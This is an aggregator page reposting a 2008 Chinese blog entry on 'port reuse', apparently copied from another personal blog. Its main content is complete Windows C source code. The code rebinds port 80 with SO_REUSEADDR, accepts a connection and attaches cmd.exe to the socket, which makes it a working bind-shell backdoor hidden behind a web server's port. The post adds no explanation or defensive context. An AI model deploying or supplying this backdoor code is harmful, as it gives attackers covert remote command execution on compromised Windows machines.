惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Attack and Defense Labs
Attack and Defense Labs
The GitHub Blog
The GitHub Blog
C
Check Point Blog
博客园_首页
MongoDB | Blog
MongoDB | Blog
N
Netflix TechBlog - Medium
F
Full Disclosure
Microsoft Security Blog
Microsoft Security Blog
爱范儿
爱范儿
Recent Announcements
Recent Announcements
阮一峰的网络日志
阮一峰的网络日志
G
GRAHAM CLULEY
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
T
Threat Research - Cisco Blogs
C
Cybersecurity and Infrastructure Security Agency CISA
V
Vulnerabilities – Threatpost
K
Kaspersky official blog
博客园 - 司徒正美
S
Schneier on Security
T
The Exploit Database - CXSecurity.com
Project Zero
Project Zero
云风的 BLOG
云风的 BLOG
Cisco Talos Blog
Cisco Talos Blog
Know Your Adversary
Know Your Adversary
雷峰网
雷峰网
V
V2EX - 技术
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Spread Privacy
Spread Privacy
罗磊的独立博客
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
S
Security Affairs
SecWiki News
SecWiki News
Schneier on Security
Schneier on Security
O
OpenAI News
Jina AI
Jina AI
PCI Perspectives
PCI Perspectives
Cyberwarzone
Cyberwarzone
Y
Y Combinator Blog
Apple Machine Learning Research
Apple Machine Learning Research
B
Blog RSS Feed
I
InfoQ
D
Docker
P
Palo Alto Networks Blog
Recorded Future
Recorded Future
M
MIT News - Artificial intelligence
博客园 - Franky
B
Blog
Scott Helme
Scott Helme
博客园 - 叶小钗
D
DataBreaches.Net

博客园 - live-evil

写给那些ASP.NET程序员:网站中的安全问题 FCKEditor编辑器安全配置 Ajax 安全工具 微软近日发布了三个免费SQL INJECTION检测工具 Enterprise Library 写给设计人的10个jQuery特效 - live-evil - 博客园 SQL注入攻击-来自微软安全博客的建议 用Dos命令进行加锁 防止病毒格式化硬盘 MembershipUser.IsOnline属性 FCKEditor for .NET. Nmap Techniques 希望所有的人都平安 DataReader Deom2_NextResult DataReader Demo. RssPageDemo. DataTable Demo. RSS技术实现(asp.net) 'sys' is undefined 错误. ASP.NET页面传值的方法
端口复用小示例
live-evil · 2008-05-14 · via 博客园 - live-evil

From:寂 个人Blog

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
BOOL val = TRUE;
setsockopt(listenFD,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(80);
server.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

bind(listenFD,(sockaddr *)&server,sizeof(server));
listen(listenFD,2);
int iAddrSize=sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[]="cmd";
PROCESS_INFORMATION ProcessInforation;
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInforation);
return 0;
}